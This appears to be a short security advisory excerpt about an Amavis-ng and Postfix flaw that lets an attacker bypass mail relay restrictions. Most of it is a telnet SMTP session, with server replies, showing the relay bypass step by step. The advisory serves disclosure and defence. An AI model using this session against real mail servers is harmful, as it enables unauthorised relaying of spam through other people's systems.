source: https://www.securityfocus.com/bid/7306/info

It has been reported that some versions of Amavis-ng do not properly interact with Postfix. Because of this, an attacker may be able to circumvent relay restrictions.

#> telnet somemx.domain.tld 25
(220 somemx.example.com ESMTP Postfix)
helo amavis-ng
(250 somemx.example.com)
mail from:userX@example.com
(250 ok)
rcpt to:userY@example.com
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: userX@example.com
To: userZ@example.com
Subject: AMaViS-ng 0.1.6.x bug
.
(250 Ok: queued as ...)
quit
(221 Bye)